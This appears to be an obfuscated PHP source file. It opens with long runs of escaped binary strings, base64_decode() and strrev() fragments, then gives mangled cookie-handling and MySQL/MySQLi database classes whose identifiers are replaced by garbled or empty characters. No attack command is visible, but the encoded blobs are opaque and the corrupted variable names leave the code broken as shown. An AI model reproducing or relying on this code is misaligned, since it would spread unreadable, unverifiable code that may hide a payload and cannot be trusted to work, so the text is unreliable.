8\xa1"."\264\236\43\230\300\20\175\322\11\22\275\75\304\255\265\123\150\72\24\35\207\141\363\27\26\62\5\354\260\301\236\267\20\156\177\263\153\144\122\35\40\54\156\103\311\320\254\373\200\215\117\236"."\xe6\x46\xc9\x6d\x2\x46\xab\xf7\x7a\xbd\x92\x62\x58\x98\xa3\xe1\x10\x14\x27\x8e\x97\x11\x2c\x88\x67\xf6\x78\xf0\x66\x6e\x83\x81\xa6\x7c\x6f\xaf\x6e\xd9\xf5\xe4\x42\xa6\x32\x45\x41\x15\x9d\xe3\x9b\x8a\x2\x64"."\162\314\364\315\106\101\322\143\60\241\273\240\27\113\26\273\342\63\321\67\3\144\64\153\36\30\220\314\43\174\245\101\252\76\300\105\256\122\76\313\240\50\210\120\142\245\74\36\355\172\147\233"."\xf5\x7c\x5a\xca\x34\x4f\x4b\xd9\x52\xa9\x6a\xf\x74\xaa\x4f\xf4\x87\x36\x45\xa4\xeb\x69\xb8\x2a\xe7\x97\x7a\x69\x10\x10\x58\xde\x36\x27\xd\xa0\xf6\x7b\x39\x59\xa0\xe1\x45\xb2\x42\xda\x22\xb6\xb6\xb0\x9a\x40"."\221\226\164\235\75\46\50\12\147\47\335\365\5\131\155\171\310\13\110\36\311\163\53\126\44\167\262\203\113\13\137\126\311\353\234\376\112\26\77\133\301\6\351\52\132\310\55\101\253\152\232\155"."\152\302\241\106\265\71\24\243\221\100\173\110\215\307\243\222\135\56\271\367\272\134\135\34\155\126\233\242\321\305\41\240\61\350\325\172\211\45\342\53\203\342\324\31\307\304\325\101\174\204\43\33"."\x9d\xc9\x42\x6\x76\xec\x80\xd7\xd5\xb8\x2\xc6\x99\x88\x98\x9b\x5a\x3\x31\x6e\xb1\x3f\xd3\x57\xe7\x9b\x2a\x70\xd1\x7\x55\x7c\x63\xa1\x81\xdd\x14\x8f\x27\x2\xb1\xa\xee\x3d\xa8\xdb\xf\xe8\x71\x70\xf5\x1"."\31\132\243\313\224\246\150\270\243\55\22\247\136\55\50\74\22\225\322\211\135\66\44\63\347\37\345\311\120\174\260\75\34\150\12\52\241\110\42\312\156\134\160\333\123\162\327\46\316\343\254\13".base64_decode('ipbOnXtAfhqR7wPJJfKSgEY7PdVdVV2Tu2q6alf6uqxu4CZkRAx5eCDS3gzNq+ehtAWzsw==')."\x2d\x8e\x56\x77\x1a\x8c\xc6\x2\x4d\x61\x56\x95\xc6\x40\x1c\x82\xd1\xa6\x10\xd\xec\xbb\x6a\xf7\xde\x47\xae\xd8\xf7\xc3\x9d\xa3\x97\x6e\x44\x5\x8d\x5d\x7b\xfe\xd8\xb6\x7\x90\x4c\x82\xe5\x90\x9d\x97\xef\x7b"."\374\212\261\253\166\215\135\16\362\203\262\177\327\203\173\37\173\142\337\125\167\214\356\334\76\266\365\341\175\327\136\110\23\336\277\163\367\350\145\167\360\212\51\357\157\171\174\354\212\133\271\154"."\102\105\22\17\312\375\376\105\33\367\75\266\23\113\46\267\254\33\273\177\303\330\165\33\107\57\273\171\364\232\73\366\135\261\153\364\77\56\30\135\277\161\377\256\253\117\163\23\22\215\167\262"."\xa1\x80\xeb\xcb\xfe\xb3\xf1\x6d\x6d\xda\xbd\x5d\xd6\x14\xdc\xb5\xb5\xe8\xb7\x6\xdf\xe3\x40\xbf\xcc\xde\x9b\xd8\x0\x2f\xe9\x8\x46\x9a\x82\xee\xb\x51\x72\x14\x3c\xa3\x4c\xa6\x14\x42\x2d\x60\x40\x18\xb5\xc0".base64_decode('swqLEy8KDdXj1mINjL9UKakyzcF4UyzUGISbAnygJhJBCgwjEDQeW8rD/MZnmScbpYYRcw==')."\255\342\150\210\346\113\231\331\122\56\117\52\253\124\141\163\254\52\17\136\140\310\355\54\245\12\57\226\10\240\247\320\324\253\301\76\56\210\51\157\365\212\152\117\235\147\152\255\2\156\156\150".base64_decode('DnBuo1SBRTjP5/iIJ+mITfXU1SpVhb4qqJfoV1R7lWJaiuapgQrL1RW4iD1adlEz8ralpA==').base64_decode('PBzE86Nfh8OalE/koOOEMNwwJRBpdmJSPzft1cSSMuWzubMMNszVtUoS7l9USCTZHJ3R4A==')."\350\214\232\51\300\47\332\27\361\361\246\267\27\24\172\351\216\126\113\263\330\100\1\224\14\25\206\322\321\142\270\46\152\6\32\34\212\217\2\74\5\333\371\363\222\20\73\342\11\154\4\61".strrev('TDD+SD. 2сލ:9{'."\n".'4b').base64_decode('HCTCdwyAR6cLZghHELxQpCUaa6PX5uJNrcG2gA+YOKUEio/FKKVBqcacj4KqHd1PPsS6LA==')."\x41\xbe\x8a\xe6\x95\x6a\x23\x99\x88\xf6\x42\xa1\x17\x2a\x3\xa3\xaf\x90\x6b\xf5\x1a\xc9\xd2\x50\x4d\xfd\x82\x40\x91\xdc\xcf\x56\x34\x96\x50\x51\x7\x0\x7b\x96\xb8\x6e\xb5\xb4\x5a\x48\x66\xdf\xf8\x12\xd8\x0"."\23\365\173\220\220\143\62\167\50\351\44\163\307\205\12\307\145\66\105\43\55\41\166\103\260\71\11\345\245\115\7\122\163\54\204\275\112\300\367\25\126\224\164\57\23\105\204\31\6\212\24\6".base64_decode('0zwsfAXgBL7mo4hY8lGELzYYS/Ibhr8fj/CwkGNRpCPObmBg7rusmYdb+bVunBCNSZFALA==')."\320\26\347\321\330\62\176\243\203\303\350\315\16\65\322\321\46\70\176\70\260\24\21\113\224\365\67\333\150\370\317\256\361\115\136\130\333\105\357\362\321\40\375\71\203\305\360\5\242\356\325\123"."\75\312\254\265\265\200\303\35\104\330\31\43\317\4\111\374\225\45\141\65\34\135\104\343\304\237\131\60\237\26\333\16\245\123\101\122\155\102\110\265\26\133\272\370\154\120\20\15\53\364\146\260".strrev('|٬1Xі;wNdM!F+X,$>]],DŽ@RY .').base64_decode('2iCGSANRGJ/lLEB4JWRAe9lCll3So7cD1a41XZO6vD56IRILL10eUSU1uBytsfG44zanSg==')."\134\75\101\351\250\225\20\242\263\226\106\346\303\17\154\254\346\203\170\12\321\5\15\174\60\203\113\326\104\320\337\105\211\65\101\364\67\214\176\302\11\64\134\6\107\100\123\62\34\132\34\134"."\x83\xff\x11\x9\xb5\xbc\x23\xe9\xc5\x22\x67\x86\x50\x64\xd\xfa\x17\x31\x98\x35\xa1\x88\xbb\xb0\xc6\x60\x62\x59\x30\x48\x11\x58\x18\x7e\x5\x2a\x62\x38\xd0\x54\xc9\xdf\x1d\xb6\xf2\x87\x64\x61\xf5\xf\x45\xab"."\152\15\351\114\157\367\224\132\125\365\133\35\100\57\334\3\106\115\365\204\251\325\260\206\4\342\115\60\340\101\26\2\202\50\247\5\142\223\357\44\4\356\305\15\342\213\142\321\216\166\51\336"."\x1a\x58\x1a\x8a\x2c\x62\x31\xff\x64\x16\x9a\xc\x45\x2b\xcd\xa1\x38\xea\xa2\x26\x46\x8c\xc2\xb9\x9c\x1c\xa7\x61\x2a\x16\xc9\x52\xaf\x83\xa4\x9b\x11\x67\x47\x11\x49\x64\xc7\x9b\x1\xca\x99\x9d\xb3\xac\xb1\x23"."\24\156\226\157\256\143\104\32\232\110\270\72\254\51\23\131\345\130\234\334\141\147\21\334\345\54\114\310\215\105\110\37\260\10\355\0\26\43\335\305\42\304\211\35\213\220\206\262\10\336\235\4"."\43\54\15\155\0\321\346\215\355\352\62\332\0\277\201\71\57\235\224\334\143\140\36\354\243\12\61\354\44\5\355\30\65\256\374\164\351\60\211\372\111\332\325\123\223\75\105\272\1\216\225\241"."\222\312\310\117\61\220\360\111\160\320\157\327\312\205\104\70\136\311\350\224\136\76\266\23\206\235\165\174\24\156\1\242\217\206\310\325\113\351\263\354\232\4\321\375\251\246\244\160\46\353\266\14"."\x10\xda\x26\xaa\x9d\x6\x45\xad\x50\xda\x60\xcb\x45\xa2\xc2\xa5\x51\xe7\x8e\x8a\xb3\xa9\x95\x7c\xa3\x4\x1e\x3c\x3c\xf0\xb\x35\x3a\x9a\xfe\x74\x41\x94\x29\x28\xba\xe0\x23\xd5\x1e\x58\x74\xbb\x98\xc0\xde\xd9"."\65\124\127\347\105\377\314\101\177\33\321\337\46\364\67\210\1\55\135\103\263\133\120\140\156\113\267\37\316\161\330\55\13\347\155\327\256\256\252\361\72\31\20\130\127\103\264\212\106\131\56\350"."\x7f\xb4\x72\xa6\x32\xd8\x6b\x8b\x6a\xe7\x98\x52\x9c\x6c\xf1\x84\x36\x9a\xea\xc5\x45\xbc\x39\x16\x6d\xa7\x72\x8c\x12\x6a\x51\xa8\x4b\x8\xa5\x9a\x6a\xd2\xab\x41\x40\x6b\x8a\x5\xf1\x1c\xa3\x58\x2c\xad\xa6\xda"."\241\261\132\120\255\300\65\361\132\147\256\120\244\71\270\134\251\66\322\103\252\246\251\220\131\101\63\232\25\244\224\225\304\112\240\165\205\203\47\53\143\16\52\62\221\262\135\167\23\205\45\4"."\xe1\x96\x9\x78\xc4\xb9\x3\xbb\xf3\xea\x81\xad\x3d\x4f\xa1\x72\x35\x4d\xa\xc5\xd1\xb2\x1f\xe\x93\x96\xa2\x24\xc3\xc2\xe2\xb0\x47\xe1\x3e\x18\x30\x10\x6f\x61\xa8\x56\x14\xa\x62\x9\xb4\x20\x9a\x14\x5c\x9e"."\210\5\60\220\310\260\107\36\201\376\20\266\204\367\130\305\234\106\57\202\22\311\317\267\22\124\15\53\35\202\46\25\101\261\250\11\164\107\26\116\251\115\74\205\350\33\150\67\313\332\210\305".strrev('y`ړ'."\r".'1] ن1A/C DXqf ;.,{Xӻ ').base64_decode('BM+lKr9vzFQxNUDHVR4WYP4oyF0opszKIcbFY2LUgPZhVORU+TaXcK2Kl1o8yDABgi2Bjg==')."\xb0\xc\x81\xae\x52\x16\x7\x57\x7c\xc1\x1c\x61\x35\xad\x34\x47\x58\x1a\x53\xea\xf0\xd9\x6\xed\xa9\x99\x9\xed\xa3\x9e\x32\x6a\xa6\xa1\x9d\x6d\x29\x8f\x7d\xc0\x70\xef\x8d\x50\x2b\x1a\xb\x74\x24\xa2\x2a\x5a"."\205\142\101\274\46\100\213\170\267\112\365\225\166\357\362\240\100\61\30\201\373\251\375\202\246\61\234\112\115\343\371\271\376\52\30\131\24\212\4\33\332\206\103\361\100\233\302\52\16\32\72\354".base64_decode('s3EOlBOKqmEkWauyEi4UBT2wwwOgqgo3Kz5NGIHbxZLkHM4wicF1G7+bQSzEEUEEhJcFrg==').strrev('}fpnHt2Sd[>:<βF'."\n".'q0wߐz/-$i&').base64_decode('kBz25J3VQ8tslvl1UnXRmpxuWfyMN5HRFaugp4hnRwV8qilpU7eEZ2joe7LbYkE7I/xJyA==')."\36\122\233\33\131\47\227\362\166\134\317\202\216\276\71\111\254\354\305\265\67\161\315\110\262\276\47\107\55\142\344\250\263\72\127\106\50\51\304\273\106\302\22\300\260\160\211\212\117\66\104\231"."\335\114\147\40\372\143\304\140\213\240\373\214\220\127\62\157\266\353\305\234\101\216\163\226\211\323\32\236\256\313\264\122\151\54\230\153\56\362\5\351\356\42\216\302\230\343\363\112\351\252\110\51"."\217\352\345\225\57\37\41\32\40\100\351\272\3\363\320\107\143\263\301\46\2\321\31\4\172\1\302\176\213\54\305\47\374\345\220\62\261\164\344\25\16\42\322\232\174\271\123\362\21\176\232\74"."\xe2\x64\xe8\x4\x8d\xf6\x18\xb2\xb7\x8\x9f\xf0\xe\xcb\xc9\xfe\xc\xde\xe1\xf8\xd2\x33\x1c\x9a\x63\xc1\xbb\x47\x95\xea\xd2\xce\xf1\x53\xdc\x43\x38\xed\xd\xa9\x9b\x9\x80\x6\xc9\x44\x55\xea\x45\x25\x5a\xd"."\x4c\xc7\xc3\x12\xd\x48\xd0\x36\xe6\xdb\x9\x7c\xd3\x86\x4d\x10\x91\xf1\x7d\xd\xdd\x6\xaf\x5e\xe\x3e\x13\x8a\x42\x5e\x9f\x8e\x2f\x3f\xd1\xab\x28\x41\xee\x8f\x10\x65\xa4\x5e\xdb\xbe\x3c\x53\x87\xe4\x9e\x77".strrev('=`^'."\r".'5%hCŎ').base64_decode('R9VQHqfXWwxB8kyKtxMDJB00FlslT744Kp+ikmR+F5nEstw/Co5GeEn0sSf6eg/0YYVZmA==')."\x31\x7\x55\x21\x91\xe0\xe8\x99\x3c\x46\xba\x14\x6f\x20\x19\x19\xa6\xa5\xfb\xe2\xb8\x5f\xd9\xea\x23\xa1\x73\xbd\xbd\xb0\x90\x2\x83\x2f\xe2\x13\xa4\xcf\xc8\x3a\x3c\x27\xa8\x52\x56\xb9\x6f\xe7\x61\x44\xd6\x92".base64_decode('hDMnLgjxrwB/8oraarO6KcBRaJQ43Ccv/FIj/fojywbXdg8sGSPHAY/bQpLFpJFiZ3/xLw==').base64_decode('MWJkkCAD0FPLJu7yVirAneTKE6BHhmUZAF6OTU5WK2BjuAubOLdt4j68ZY+3VJskGdlZ8A==').base64_decode('1IiwcGJlDEh7S1+haPaiUbfkTkPw9spgjl6OWQGJ117Gk4H4DJc9xQ3kLNwvaGm+OEqo4g==').strrev('hG,V8&meg耾xBv *x_Дg:\\')."\114\30\255\62\23\72\334\103\302\146\305\11\247\60\252\136\160\34\214\47\10\243\313\352\354\25\171\12\245\223\12\27\20\146\257\41\307\35\16\342\201\114\141\352\66\64\310\331\234\151\357\256"."\277\222\5\266\60\54\334\255\134\21\55\37\75\342\56\125\145\315\17\236\321\255\374\145\362\12\204\350\44\266\62\252\42\353\66\56\0\152\203\146\263\24\303\245\263\123\137\264\67\266\250\36".strrev('MLf7EJȎŨp˄[?G> Ps[}'."\n".'')."\x15\xca\x8f\x85\x41\x8a\x1f\x9a\xdd\x89\x9a\xd5\x8d\x36\x38\x50\xa8\x60\xf0\x9d\x94\x1b\xb3\x32\x71\x95\x21\x94\x66\xe3\xa3\x38\x57\x57\x69\xad\x50\xe4\x82\xd0\xaa\x9b\xc8\x60\xa5\x4d\xb7\x42\xaa\x39\x8f\xbc"."\xd6\x51\x21\x15\x3b\x18\x61\x5f\xe3\xbe\xc4\x81\xf3\x23\x1c\xd3\xe6\x9b\x62\x5c\x7c\x20\x2d\x2d\x9f\x61\x59\xbe\x4d\xd0\x2c\xde\x5\xa2\xaa\xe\xa3\xa\xe9\x1d\x3\x8e\x8a\xaa\xc1\x2a\xaf\xb1\xba\x11\x73\x5a"."\362\332\203\264\117\167\105\335\306\307\70\207\44\321\240\250\264\362\222\165\337\146\113\67\173\14\102\30\355\222\240\140\300\357\156\137\317\2\27\11\72\212\113\266\236\25\352\7\245\362\62\161"."\15\362\302\146\30\4\230\242\236\62\213\151\274\40\112\176\173\362\166\114\357\225\243\304\156\203\315\6\341\151\136\56\2\373\106\223\330\16\236\205\201\224\135\222\75\255\111\217\121\240\230\364"."\xb6\x88\x24\x88\x7a\xa7\x2a\x5c\x82\x55\x69\xc9\x34\x32\x45\x4a\x20\xf8\x95\x84\x59\x97\xe\x56\xba\xc9\x47\xf4\x51\xf1\x52\x92\x1f\xac\xbb\x44\x4c\x76\x39\x50\x91\x25\x38\x76\xdb\xf\x17\x40\x7c\x60\xe1\x16"."\x58\x72\x1a\x2a\x16\x3b\x81\x17\x2d\x93\xb3\x90\x6f\x96\x65\xa1\x69\x58\x88\x12\xd7\x2\xe5\x14\xb\x3f\x1a\xd2\xc1\x46\xb1\x52\x4a\x85\x4f\x91\x24\xa9\x47\x53\xdc\x99\x1e\xf4\x8e\xe8\x24\x48\x18\xd6\x99\xb5"."\xbb\x77\xea\x34\xef\x74\xe6\x33\x53\x76\x56\x7\x9b\x33\x1a\xc3\x1b\x47\x89\xc\xf0\xf6\x96\xb1\x31\xb0\x15\x7\x3c\x81\x63\x4a\xe6\x9\xc4\xbb\x94\xf0\xa3\x43\x1c\x69\xf1\xf1\x24\x1e\xb7\x78\xac\x28\xc9\x12"."\xe2\x5d\x7b\xe2\x7a\x4a\x66\xeb\xc2\x66\x8b\x9a\x97\x63\x84\x8e\x4a\xe9\xb4\x87\x70\x72\xb3\xe3\x42\x80\xb\x1\xcd\xf\x67\x3a\xbc\x2b\x22\x2a\x43\xbd\x5f\x99\xe\x3b\x4d\x57\x21\xf0\x46\x8d\xfc\x72\xa\xc9"."\45\332\41\156\105\40\220\111\137\57\221\72\106\330\236\121\247\134\354\172\7\147\162\2\234\60\71\260\334\176\15\123\45\24\111\175\52\300\216\267\246\26\373\124\160\350\30\333\206\371\315\167"."\154\53\212\27\151\176\15\300\222\43\54\225\23\247\345\210\120\333\130\107\156\16\342\130\203\172\222\6\370\116\275\275\265\335\317\101\215\174\172\122\105\211\360\5\330\304\14\120\365\41\35\66"."\170\203\71\43\245\204\243\213\102\115\201\160\163\50\276\130\351\305\147\251\134\122\41\157\14\71\247\62\321\15\323\216\147\124\235\344\17\341\340\240\67\211\166\14\336\64\337\125\131\142\377\104"."\xda\x2\x85\x89\xa7\x2\x9d\xc5\x52\xfa\xd3\x8b\x65\x25\xe6\xf1\x7d\xc5\x6c\x59\x1e\xac\xf1\xae\x80\x9d\x15\xfa\x5d\x9\xb9\x50\xd4\xcb\xf1\x87\x75\x6c\x12\x2a\xd5\x58\xca\x50\xaa\x50\x1b\xc0\xaf\xfc\x5\xf2".base64_decode('SJGMjQQhPT9e5Y38gGEZYuKzHMNy6YHmtlBEDYTD0WUOS2qh6y9ylUlafjBKGhkxCPTr5Q==').base64_decode('LifBwZ/8SodLjUKHT3ZPWmAHVPDqLn9Zhkal590KRc2wdAlA3x6bDNcDtWzW8VhrtkeKlg==').base64_decode('nCtrxU+p9AMMJrlCrYQQCy1qTfyvq2qkhVdCI81s7fglcProTJP87jD7pnjaqBzyv30ezw==')."\43\75\132\114\274\267\261\167\70\115\262\101\2\351\235\302\102\121\225\76\71\54\76\201\344\225\342\160\101\76\145\365\247\231\341\51\23\177\261\377\325\40\73\332\303\21\261\125\301\350\120\32"."\xfe\x1c\xdd\xc0\xa2\x7d\x39\xd6\x21\xb2\x4d\xd\xd3\xc7\x21\xce\x1\x3d\xef\x30\x34\x75\x3d\xf4\xe7\xbe\x59\xe0\x78\xc6\xaf\xec\x1b\xe4\x81\x19\x9a\x46\x8e\xa0\x10\x66\xb7\x68\x1c\x8a\xf1\x7\xa5\x44\x56\x77"."\x4a\x85\xa\xa0\x64\x45\x68\xb9\x38\x82\xd2\xa0\xd4\xd1\x37\x27\xf9\x63\x41\xca\x7c\xe6\xf3\x42\x7c\x80\x38\x4d\xc\xe6\xa\xb6\x63\x73\xdf\x2a\x5f\x2f\x92\xc6\x86\x2\xb0\xca\xa7\xc8\x75\x76\x74\xf0\x59\x14"."\x8f\x70\x3\x1b\x55\x55\x5e\x2e\x89\xc4\x24\xb6\x7c\xd8\x6\xd5\xcc\xd\x97\x1\x1c\xa\xb1\x30\x6b\xd\xb7\xa\xc7\xf\x2c\xe5\x7b\x4c\xb9\xd7\x9\x63\xc7\x37\xcc\xe8\x8b\xb2\x54\xf7\xe0\x41\x5b\x10\xdd\x2e"."\x7f\x8d\x8e\x66\xff\xff\x93\x91\x26\xc6\x25\x67\xba\xce\x42\xca\x2b\x64\xb9\x97\x4c\x21\xbe\xe1\x87\xf6\x32\xe6\xa0\xf3\x99\x59\xc\x71\x3f\xad\xe7\x78\x54\x4f\x9a\x6a\xc4\x83\x83\xfc\xc\xa0\x33\x93\xa7\xec".base64_decode('oSuFPGCuoAkCY48NctjeliBLn55If7rgly2L7kpQhgefrOWk2JQxsukitzgTgDZdKBxILg==').base64_decode('bHSlsYfayROc0Fz+tlal9xaxC1XnE2Hi5TWxBjtfouKH+ZaYQpbtePssYSa0Xg8lVcwdRQ==').base64_decode('rHFYDss3FUgrUCJTCqb5eC+QENgbpmkPeVKTMkj3413S/OR8WM7dmzWTWhbMIR33EYtoVw==')."\246\263\265\304\201\106\101\176\255\120\20\107\40\362\322\213\376\165\134\31\207\264\216\104\253\112\334\247\250\324\72\41\56\150\116\72\200\244\100\70\214\54\345\103\364\50\306\1\55\112\373\105"."\331\15\65\75\236\21\67\217\1\35\325\263\235\236\302\102\207\311\105\262\223\161\256\132\107\374\210\157\253\375\345\47\351\330\204\14\70\12\66\331\141\266\122\175\46\331\226\371\344\15\35\40"."\x28\xf3\x15\x41\x1a\x8e\x89\x8c\x49\x9\x49\xd5\xf4\xd1\x52\xc2\x29\x64\x8e\xf6\x5\x50\xe9\x61\x39\x78\x1c\xb5\xd2\x3b\x71\x94\xf2\xc9\x4f\xb3\xde\xc3\x37\x47\x38\x2e\x84\x4\xd9\x5\x94\x30\xac\x71\xbf\x5b"."\132\376\6\53\173\157\225\115\35\170\154\265\302\13\252\343\76\300\352\21\227\314\277\350\371\71\161\25\272\200\206\302\371\266\56\27\61\370\376\243\154\13\343\336\275\360\156\165\145\210\271\73"."\71\141\226\353\231\205\255\201\343\171\130\251\325\300\332\312\237\230\225\272\101\152\167\251\230\365\20\263\13\17\263\146\254\370\112\255\343\61\74\367\200\126\170\347\366\113\13\204\53\40\144\363".strrev('tqB#{-b$gir+-OI& Ev;"rv').base64_decode('g0dhLq/l2U8SnXeKyh9Idq0A/7sJI3YhFFWyuC1/Sr6sBwidSnZf0oLoMvAxsc2NJWYdXQ==')."\2\305\103\310\316\157\121\361\241\102\73\304\147\245\311\102\37\265\65\263\170\257\236\303\147\0\166\121\163\156\114\53\355\277\110\117\260\315\36\126\343\212\230\323\4\12\264\62\42\131\332\240"."\311\45\332\246\133\245\204\263\343\165\221\250\107\243\371\54\54\333\330\3\207\230\155\22\47\372\137\14\40\333\153\321\155\231\260\375\302\315\167\154\321\235\275\340\77\203\261\231\12\17\30\113".strrev('=}xXzOqrprefix = $; } if (is_numeric($Ö) && $Ö > 0) { $this->expire = $Ö; } } public static function getInstance() { static $ď; if ($ď === null) { $ď = new self(); } return $ď; } private static $cookieDisable = false; public static function disable($) { self::$cookieDisable = $; } private static $sameCookieSet = array(); public static function set($, $Ӽݖ, $䭚 = 0, $˽ = false, $ = false) { $ =& $_SERVER[ϋ]; if (self::$cookieDisable) { return; } if (!$䭚) { $䭚 = 24 * 3600 * 7; } if (isset(self::$sameCookieSet[$]) && self::$sameCookieSet[$] == $Ӽݖ . $䭚) { return; } self::$sameCookieSet[$] = $Ӽݖ . $䭚; if (!$) { $ = str_replace(HOST, $[12], APP_HOST); $ = _get($GLOBALS, $[931], $); } $ = $[12]; setcookie($, $Ӽݖ, time() + $䭚, $[8] . trim($, $[8]) . $, !1, !1, $˽); } public static function setSafe($߻, $, $͡Ȣ = 0) { self::set($߻, $, $͡Ȣ, !0); } public static function get($܁) { static $ܰ = false; if (!$ܰ) { self::initHeaderCookie(); $ܰ = !0; } return isset($_COOKIE[$܁]) ? $_COOKIE[$܁] : !1; } private static function initHeaderCookie() { $ =& $_SERVER[ϋ]; if (!isset($_SERVER[$[932]]) || !$_SERVER[$[932]]) { return; } $ަ̌ = explode($[74], $_SERVER[$[932]]); foreach ($ަ̌ as $Ѹ) { $Ѹ = explode($[933], $Ѹ); if (count($Ѹ) != 2 || !isset($Ѹ[1])) { continue; } $_COOKIE[trim($Ѹ[0])] = trim($Ѹ[1]); } } public static function remove($縚, $ij = false) { unset($_COOKIE[$縚]); self::set($縚, $_SERVER[ϋ][12], 1, $ij); } } class DbMysql extends Db { public function __construct($ = '') { $Č =& $_SERVER[ϋ]; if (!extension_loaded($Č[855])) { think_exception(think_lang($Č[14]) . $Č[934]); } if (!empty($)) { $this->config = $; if (empty($this->config[$Č[17]])) { $this->config[$Č[17]] = $Č[12]; } } } public function connect($눝 = '', $ = 0, $Ν = false) { $μ =& $_SERVER[ϋ]; if (!isset($this->linkID[$])) { if (empty($눝)) { $눝 = $this->config; } $э = $눝[$μ[935]] . ($눝[$μ[936]] ? "\x3a{$눝[$μ[936]]}" : $μ[12]); $ = !empty($눝[$μ[17]][$μ[18]]) ? $눝[$μ[17]][$μ[18]] : $this->pconnect; if ($) { $this->linkID[$] = mysql_pconnect($э, $눝[$μ[937]], $눝[$μ[938]], 131072); } else { $this->linkID[$] = mysql_connect($э, $눝[$μ[937]], $눝[$μ[938]], !0, 131072); } if (!$this->linkID[$] || !empty($눝[$μ[21]]) && !mysql_select_db($눝[$μ[21]], $this->linkID[$])) { think_exception(mysql_error()); } $Ө = mysql_get_server_info($this->linkID[$]); mysql_query($μ[939] . think_config($μ[940]) . $μ[58], $this->linkID[$]); if ($Ө > $μ[941]) { mysql_query($μ[942], $this->linkID[$]); } $this->connected = !0; if (1 != think_config($μ[22])) { unset($this->config); } } return $this->linkID[$]; } public function free() { mysql_free_result($this->queryID); $this->queryID = null; } public function query($ѥ) { $֌ =& $_SERVER[ϋ]; if (0 === stripos($ѥ, $֌[316])) { $this->close(); $this->connected = !1; } $this->initConnect(!1); if (!$this->_linkID) { return !1; } $this->queryStr = $ѥ; if ($this->queryID) { $this->free(); } think_action_status($֌[23], 1); think_status($֌[24]); $this->queryID = mysql_query($ѥ, $this->_linkID); $this->debug(); if (!1 === $this->queryID) { $this->error(); return !1; } else { $this->numRows = mysql_num_rows($this->queryID); return $this->getAll(); } } public function execute($ޖ) { $ʈդ =& $_SERVER[ϋ]; $this->initConnect(!0); if (!$this->_linkID) { return !1; } $this->queryStr = $ޖ; if ($this->queryID) { $this->free(); } think_action_status($ʈդ[25], 1); think_status($ʈդ[24]); $狹 = mysql_query($ޖ, $this->_linkID); $this->debug(); if (!1 === $狹) { $this->error(); return !1; } else { $this->numRows = mysql_affected_rows($this->_linkID); $this->lastInsID = mysql_insert_id($this->_linkID); return $this->numRows; } } public function startTrans() { $this->initConnect(!0); if (!$this->_linkID) { return !1; } if ($this->transTimes == 0) { mysql_query($_SERVER[ϋ][943], $this->_linkID); } $this->transTimes++; return; } public function commit() { if ($this->transTimes > 0) { $⃋ = mysql_query($_SERVER[ϋ][944], $this->_linkID); $this->transTimes = 0; if (!$⃋) { $this->error(); return !1; } } return !0; } public function rollback() { if ($this->transTimes > 0) { $䛉 = mysql_query($_SERVER[ϋ][945], $this->_linkID); $this->transTimes = 0; if (!$䛉) { $this->error(); return !1; } } return !0; } private function getAll() { $ȗ = array(); if ($this->numRows > 0) { while ($؄ޫ = mysql_fetch_assoc($this->queryID)) { $ȗ[] = $؄ޫ; } mysql_data_seek($this->queryID, 0); } return $ȗ; } public function getFields($ǃժ) { $犎 =& $_SERVER[ϋ]; $ɯ = $this->query($犎[946] . $this->parseKey($ǃժ)); $Ʈ = array(); if ($ɯ) { foreach ($ɯ as $ڵ => $礝) { $Ʈ[$礝[$犎[31]]] = array($犎[32] => $礝[$犎[31]], $犎[33] => $礝[$犎[34]], $犎[35] => (bool) (strtoupper($礝[$犎[36]]) === $犎[947]), $犎[37] => $礝[$犎[38]], $犎[39] => strtolower($礝[$犎[40]]) == $犎[41], $犎[42] => strtolower($礝[$犎[43]]) == $犎[44]); } } return $Ʈ; } public function getTables($ = '') { $ =& $_SERVER[ϋ]; if (!empty($)) { $ = $[948] . $ . $[949]; } else { $ = $[950]; } $ = $this->query($); $ = array(); foreach ($ as $Ƙ => $) { $[$Ƙ] = current($); } return $; } public function replace($٫, $崿 = array()) { $ә =& $_SERVER[ϋ]; foreach ($٫ as $ۖ => $𨭰) { $߁ = $this->parseValue($𨭰); if (is_scalar($߁)) { $[] = $߁; $[] = $this->parseKey($ۖ); } } $çඁ = $ә[951] . $this->parseTable($崿[$ә[331]]) . $ә[952] . implode($ә[50], $) . $ә[953] . implode($ә[50], $) . $ә[954]; return $this->execute($çඁ); } public function insertAll($, $ = array(), $Ó = false) { $ =& $_SERVER[ϋ]; if (!is_array($[0])) { return !1; } $ްƵ = array_keys($[0]); $ׇ玳 = array(); foreach ($ as $) { $Щە = array(); foreach ($ as $ݨ => $) { $ = $this->parseValue($); if (is_scalar($)) { $Щە[] = $; } } $ׇ玳[] = $[312] . implode($[50], $Щە) . $[954]; } array_walk($ްƵ, array($this, $[955])); $ = ($Ó ? $[956] : $[957]) . $[958] . $this->parseTable($[$[331]]) . $[952] . implode($[50], $ްƵ) . $[959] . implode($[50], $ׇ玳); return $this->execute($); } public function close() { if ($this->_linkID) { mysql_close($this->_linkID); } $this->_linkID = null; } public function error() { $٫험 =& $_SERVER[ϋ]; $this->error = mysql_errno() . $٫험[4] . mysql_error($this->_linkID); if ($٫험[12] != $this->queryStr) { $this->error .= LNG($٫험[48]) . $this->queryStr; } think_trace($this->error, $٫험[12], $٫험[49]); return $this->error; } public function escapeString($Ʌ) { if ($this->_linkID) { return mysql_real_escape_string($Ʌ, $this->_linkID); } else { return mysql_escape_string($Ʌ); } } public function parseKey(&$, $ = true) { $룖 =& $_SERVER[ϋ]; if ($) { $ = $this->parseKeyCheck($); } if ($ != $룖[211] && !preg_match($룖[960], $)) { $ = $룖[445] . trim($, $룖[445]) . $룖[445]; } return $; } } class DbMysqli extends Db { public function __construct($ӥ = '') { $ᘗ =& $_SERVER[ϋ]; if (!extension_loaded($ᘗ[961])) { think_exception(think_lang($ᘗ[14]) . $ᘗ[962]); } if (!empty($ӥ)) { $this->config = $ӥ; if (empty($this->config[$ᘗ[17]])) { $this->config[$ᘗ[17]] = $ᘗ[12]; } } } public function connect($ = '', $ = 0) { $ϕ =& $_SERVER[ϋ]; if (!isset($this->linkID[$])) { if (empty($)) { $ = $this->config; } $this->linkID[$] = new mysqli($[$ϕ[935]], $[$ϕ[937]], $[$ϕ[938]], $[$ϕ[21]], $[$ϕ[936]] ? intval($[$ϕ[936]]) : 3306); if (mysqli_connect_errno()) { think_exception(mysqli_connect_error()); } $ = $this->linkID[$]->server_version; $this->linkID[$]->query($ϕ[939] . think_config($ϕ[940]) . $ϕ[58]); if ($ > $ϕ[941]) { $this->linkID[$]->query($ϕ[942]); } $this->connected = !0; if (1 != think_config($ϕ[22])) { unset($this->config); } } return $this->linkID[$]; } public function free() { $this->queryID->free_result(); $this->queryID = null; } public function query($) { $ÿ =& 